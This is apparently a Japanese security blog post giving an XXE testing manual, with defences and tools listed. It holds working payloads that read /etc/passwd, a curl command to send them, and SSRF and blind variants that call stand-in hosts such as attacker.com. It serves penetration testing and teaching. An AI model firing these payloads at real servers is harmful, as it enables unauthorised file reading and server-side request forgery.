Shikata Ga Nai

Private? There is no such things.

XML External Entity(XXE)診断マニュアル

Hello there, ('ω')ノ

🎯 1. XXEとは?

XML External Entity(XXE)インジェクションは、サーバがXMLをパース(解析)する際に、 外部実体(External Entity)を定義・参照できる設定になっていると、 ユーザが 任意ファイルの読み取り・SSRF(他サーバへのリクエスト) などを引き起こせる脆弱性です。


🧠 攻撃イメージ(ざっくり)

サーバがこのようなXMLを受け取った場合:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

&xxe; の部分に /etc/passwd の中身が埋め込まれ、レスポンスなどに含まれることがあります。


🧭 2. XXEが発生しやすい場面・機能

機能 / ページ XMLの扱われ方 備考
📄 XML API POSTでXMLを受け取るREST API Content-Type: application/xml
📤 ファイルアップロード .xml ファイルを読み込む機能 購入情報、書類データなど
🔄 SOAP通信 XMLベースのRPCリクエスト SOAPAction ヘッダが目印
🧾 フォーム連携 他システムとのXML連携 請求書、住所録などのインポート処理

🧪 3. 基本の診断ペイロード(ローカルファイル読み取り)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

送信方法の例(curl):

curl -X POST https://example.com/xml-api \
  -H "Content-Type: application/xml" \
  --data-binary @xxe.xml

🕵️ 4. XXE診断の観察ポイント

チェック対象 内容
レスポンス root:x:0:0:root:/root:/bin/bash 等が含まれていないか
サーバの遅延 大きなファイル or 外部接続で時間がかかる
エラーメッセージ Entity not defined などのパーサーメッセージ
DNSアクセス SSRFテスト時に外部サーバへアクセスログが残るか

🔁 5. 応用:外部サーバへのアクセス(SSRF型XXE)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/xxe-test">
]>
<root>
  <data>&xxe;</data>
</root>

攻撃者のサーバにアクセスが来たら成功


🔐 6. Blind XXE(出力されない場合)

ファイルの中身が出力されなくても、次のような間接効果で検出可能です:

方法
Out-of-Band(OOB)アクセス file:///dev/random → 無限読み込みで遅延
DNSベース http://attacker.evil.com へのリクエスト確認(Burp Collaboratorなど)

🛡️ 7. サーバ側での防止策(参考知識)

対策 内容
XMLパーサーで外部実体の読み込みを無効化 Java, Python, PHPなどで設定可能
XMLではなくJSONを使う設計にする XMLを使わないのが一番安全
WAFで <!ENTITY の使用を制限 攻撃の兆候を検知可能

🧰 8. 補助ツール

  • Burp Suite(IntruderやRepeaterで手動送信)
  • Burp Collaborator(OOBアクセスの確認)
  • XXEinjector(自動化されたツール)
  • curl / Postman(手動送信用)

📌 見つけやすいヒント・キーワード

  • Content-Type: application/xml
  • XMLファイルのアップロード
  • <!DOCTYPE, &xxe;, SYSTEM, ENTITY
  • SOAPやREST APIでXMLリクエストを使っている箇所

✅ XXEの診断ステップまとめ

  1. XMLを受け取るエンドポイントを特定
  2. DOCTYPE定義付きXMLを送信
  3. ファイル読み込み型 or SSRF型で反応を観察
  4. レスポンスに意図しないデータが含まれていれば脆弱性あり

Best regards, (^^ゞ